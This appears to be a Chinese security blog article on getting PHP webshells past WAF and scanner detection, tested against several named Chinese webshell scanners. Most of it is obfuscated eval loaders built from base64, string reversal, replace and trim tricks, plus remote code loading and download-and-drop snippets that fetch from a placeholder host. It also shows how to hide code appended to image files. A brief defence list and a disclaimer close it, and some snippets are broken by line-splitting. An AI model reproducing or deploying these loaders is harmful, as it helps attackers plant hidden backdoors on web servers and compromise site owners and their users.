php大马检测绕过研究
字数 754 2025-08-26 22:11:28
PHP大马检测绕过技术研究
前言
本文详细研究PHP大马(功能丰富的网页后门)的检测绕过技术,主要针对常见WAF(Web应用防火墙)和杀毒软件的检测机制。所有技术仅供学习研究,请勿用于非法用途。
测试环境与工具
测试使用的WAF工具:
- D盾_Web查杀
- 河马webshell查杀
- 深信服WebShellKillerTool
- 网站安全狗网马查杀
- OpenRASP WEBDIR+检测引擎
基础绕过技术
基本思路
初始思路是将大马源码进行base64加密后执行:
<?php
$code = '大马源码base64加密';
eval(base64_decode($code));
?>
函数分割技术
将敏感函数名分割并重组:
<?php
$a = 'bAsE';
$b = '64_dEcODE';
$c = $a . $b; // 组合成base64_decode
$d = $c('code');
eval($d);
变量引用技术
利用PHP的变量变量特性:
<?php
$a = 'bAsE';
$b = '64_dEcODE';
$fuck = $a . $b;
$d = "fuck";
$e =
$$
d('code'); // 相当于base64_decode('code')
eval($e);
字符串函数混淆技术
strrev()函数反转
<?php
$a = strrev('EdOcEd_46eSaB'); // 反转后得到base64_decode
$b = $a('code');
eval($b);
str_replace()替换
<?php
$c = str_replace("s9mf", "", "Bs9mfaSE6s9mf4_Decs9mfOdE"); // 移除"s9mf"得到base64_decode
$a = $c('code');
eval($b =& $a);
ltrim()和trim()函数
<?php
$a = ltrim('mmmbAsE64_D', 'm'); // 移除左侧的'm'
$b = trim('ecODeiii', 'i'); // 移除两侧的'i'
$base = $a . $b; // 组合成base64_decode
$c = $base('code');
eval($d =& $c);
implode()组合
<?php
$arr = array('base', 'code');
$a = implode("64_de", $arr); // 组合成base64_decode
$b = $a('code');
$c = " \n ";
eval($c .= $b);
strtok()分割
<?php
$string = "//base64_decode//FuuF";
$a = strtok($string, "/"); // 获取第一个非/部分
$b = $a('code');
eval($d =& $b);
strtr()转换
<?php
$a = strtr("bask64_mkcomk", "km", "ed"); // k→e, m→d
$b = $a('code');
eval($d =& $b);
str_ireplace()替换
<?php
$a = str_ireplace("uuuiii", "4_decode", "base6uuuiii");
$b = $a('code');
eval($d =& $b);
编码与加密技术
PHP内置压缩编码函数:
- gzcompress
- gzencode
- gzdeflate
- bzcompress
- str_rot13
远程加载技术
基本远程加载
<?php
eval(file_get_contents("http://localhost/test/Hi.txt"));
结合substr()函数
<?php
// 293930是文件原始长度
eval(trim(substr(file_get_contents("http://localhost/test/k.gif"), 293930)));
HEX编码URL
<?php
$s9 = "687474703a2f2f6c6f63616c686f73742f746573742f6f6b6f6b2e747874";
$m = "s9";
eval(file_get_contents(PACK('H*',
$$
m)));
混淆远程加载
<?php
$a = str_ireplace("fuck", "et_contents", "file_gfuck");
$c = "a";
$b =
$$
c('http://localhost/test/okok.txt');
eval($d =& $b);
远程下载执行
<?php
$a = 'http://www.xx.com/s9mf.txt';
$b = 'file' . '_g' . 'et_' . 'contents';
$b = $b($a);
$c = strrev('stnetnoc_tup_elif'); // file_put_contents
$c('s9mf.php', $b);
图片隐藏技术
使用c32asm等工具将代码附加到图片文件末尾而不破坏图片结构:
- 用C32打开Gif/图片
- 将代码粘贴到图片底部
- 保存文件
- 使用substr()截取代码部分执行
防御建议
- 禁用危险函数:eval, assert, system, exec等
- 限制文件上传类型
- 监控异常文件修改
- 定期更新WAF规则
- 检查文件完整性
总结
本文展示了多种PHP大马绕过检测的技术,主要利用PHP的灵活特性和字符串处理函数。安全是一个持续的过程,防御方需要不断更新检测规则,而攻击者也在不断寻找新的绕过方法。